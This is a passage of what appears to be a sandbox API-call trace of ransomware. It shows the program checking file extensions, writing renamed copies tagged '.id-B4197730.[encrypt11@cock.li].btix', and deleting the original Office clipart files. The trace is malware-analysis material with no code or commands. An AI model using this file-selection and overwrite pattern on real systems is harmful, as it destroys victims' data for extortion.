Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.836] lstrlenW (lpString=".1cd") returned 4 [0147.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString=".jpg") returned 4 [0147.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString=".doc") returned 4 [0147.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString=".docx") returned 5 [0147.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.837] lstrlenW (lpString=".pdf") returned 4 [0147.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString=".xls") returned 4 [0147.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.837] lstrlenW (lpString=".xlsx") returned 5 [0147.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.837] lstrlenW (lpString=".ppt") returned 4 [0147.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString=".zip") returned 4 [0147.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.837] lstrlenW (lpString=".rar") returned 4 [0147.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString=".bz2") returned 4 [0147.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString=".7z") returned 3 [0147.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString=".dbf") returned 4 [0147.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString=".1cd") returned 4 [0147.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.837] lstrlenW (lpString=".jpg") returned 4 [0147.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.838] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.838] lstrlenW (lpString="HH00527_.WMF") returned 12 [0147.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.838] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5798) returned 1 [0147.838] CloseHandle (hObject=0x374) returned 1 [0147.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0147.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.839] GetLastError () returned 0x0 [0147.839] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x16a6, lpOverlapped=0x0) returned 1 [0147.840] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x16b0, lpOverlapped=0x0) returned 1 [0147.840] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.840] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0147.841] SetEndOfFile (hFile=0x378) returned 1 [0147.841] CloseHandle (hObject=0x378) returned 1 [0147.841] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.841] SetEndOfFile (hFile=0x374) returned 1 [0147.842] CloseHandle (hObject=0x374) returned 1 [0147.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0147.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.842] lstrlenW (lpString=".doc") returned 4 [0147.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.842] lstrlenW (lpString=".docx") returned 5 [0147.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.842] lstrlenW (lpString=".pdf") returned 4 [0147.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.842] lstrlenW (lpString=".xls") returned 4 [0147.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.842] lstrlenW (lpString=".xlsx") returned 5 [0147.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.842] lstrlenW (lpString=".ppt") returned 4 [0147.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.842] lstrlenW (lpString=".zip") returned 4 [0147.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.842] lstrlenW (lpString=".rar") returned 4 [0147.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString=".bz2") returned 4 [0147.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString=".7z") returned 3 [0147.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.843] lstrlenW (lpString=".dbf") returned 4 [0147.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.843] lstrlenW (lpString=".1cd") returned 4 [0147.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.843] lstrlenW (lpString=".jpg") returned 4 [0147.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.843] lstrlenW (lpString=".doc") returned 4 [0147.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString=".docx") returned 5 [0147.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.843] lstrlenW (lpString=".pdf") returned 4 [0147.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString=".xls") returned 4 [0147.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.843] lstrlenW (lpString=".xlsx") returned 5 [0147.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.843] lstrlenW (lpString=".ppt") returned 4 [0147.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.843] lstrlenW (lpString=".zip") returned 4 [0147.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.843] lstrlenW (lpString=".rar") returned 4 [0147.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.843] lstrlenW (lpString=".bz2") returned 4 [0147.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.844] lstrlenW (lpString=".7z") returned 3 [0147.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.844] lstrlenW (lpString=".dbf") returned 4 [0147.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.844] lstrlenW (lpString=".1cd") returned 4 [0147.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0147.844] lstrlenW (lpString=".jpg") returned 4 [0147.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.844] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.844] lstrlenW (lpString="HH00546_.WMF") returned 12 [0147.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.844] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=3718) returned 1 [0147.844] CloseHandle (hObject=0x374) returned 1 [0147.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0147.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.845] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.845] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.845] GetLastError () returned 0x0 [0147.845] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xe86, lpOverlapped=0x0) returned 1 [0147.846] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xe90, lpOverlapped=0x0) returned 1 [0147.847] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.847] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0147.847] SetEndOfFile (hFile=0x378) returned 1 [0147.847] CloseHandle (hObject=0x378) returned 1 [0147.847] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.847] SetEndOfFile (hFile=0x374) returned 1 [0147.848] CloseHandle (hObject=0x374) returned 1 [0147.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.848] lstrlenW (lpString=".doc") returned 4 [0147.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString=".docx") returned 5 [0147.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.848] lstrlenW (lpString=".pdf") returned 4 [0147.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString=".xls") returned 4 [0147.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.849] lstrlenW (lpString=".xlsx") returned 5 [0147.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.849] lstrlenW (lpString=".ppt") returned 4 [0147.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.849] lstrlenW (lpString=".zip") returned 4 [0147.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.849] lstrlenW (lpString=".rar") returned 4 [0147.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString=".bz2") returned 4 [0147.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString=".7z") returned 3 [0147.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.849] lstrlenW (lpString=".dbf") returned 4 [0147.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.849] lstrlenW (lpString=".1cd") returned 4 [0147.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.849] lstrlenW (lpString=".jpg") returned 4 [0147.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.849] lstrlenW (lpString=".doc") returned 4 [0147.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString=".docx") returned 5 [0147.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.850] lstrlenW (lpString=".pdf") returned 4 [0147.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.850] lstrlenW (lpString=".xls") returned 4 [0147.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.850] lstrlenW (lpString=".xlsx") returned 5 [0147.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.850] lstrlenW (lpString=".ppt") returned 4 [0147.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.850] lstrlenW (lpString=".zip") returned 4 [0147.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.850] lstrlenW (lpString=".rar") returned 4 [0147.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.850] lstrlenW (lpString=".bz2") returned 4 [0147.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.850] lstrlenW (lpString=".7z") returned 3 [0147.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.850] lstrlenW (lpString=".dbf") returned 4 [0147.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.850] lstrlenW (lpString=".1cd") returned 4 [0147.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0147.850] lstrlenW (lpString=".jpg") returned 4 [0147.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.850] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.850] lstrlenW (lpString="HH00601_.WMF") returned 12 [0147.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.851] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1468) returned 1 [0147.851] CloseHandle (hObject=0x374) returned 1 [0147.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0147.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.851] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.851] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.851] GetLastError () returned 0x0 [0147.851] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x5bc, lpOverlapped=0x0) returned 1 [0147.852] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0147.853] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.853] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0147.853] SetEndOfFile (hFile=0x378) returned 1 [0147.853] CloseHandle (hObject=0x378) returned 1 [0147.853] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.853] SetEndOfFile (hFile=0x374) returned 1 [0147.854] CloseHandle (hObject=0x374) returned 1 [0147.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0147.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.855] lstrlenW (lpString=".doc") returned 4 [0147.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.855] lstrlenW (lpString=".docx") returned 5 [0147.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.855] lstrlenW (lpString=".pdf") returned 4 [0147.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.855] lstrlenW (lpString=".xls") returned 4 [0147.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.855] lstrlenW (lpString=".xlsx") returned 5 [0147.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.855] lstrlenW (lpString=".ppt") returned 4 [0147.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.855] lstrlenW (lpString=".zip") returned 4 [0147.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.855] lstrlenW (lpString=".rar") returned 4 [0147.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.855] lstrlenW (lpString=".bz2") returned 4 [0147.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.855] lstrlenW (lpString=".7z") returned 3 [0147.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.855] lstrlenW (lpString=".dbf") returned 4 [0147.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.855] lstrlenW (lpString=".1cd") returned 4 [0147.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.856] lstrlenW (lpString=".jpg") returned 4 [0147.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft 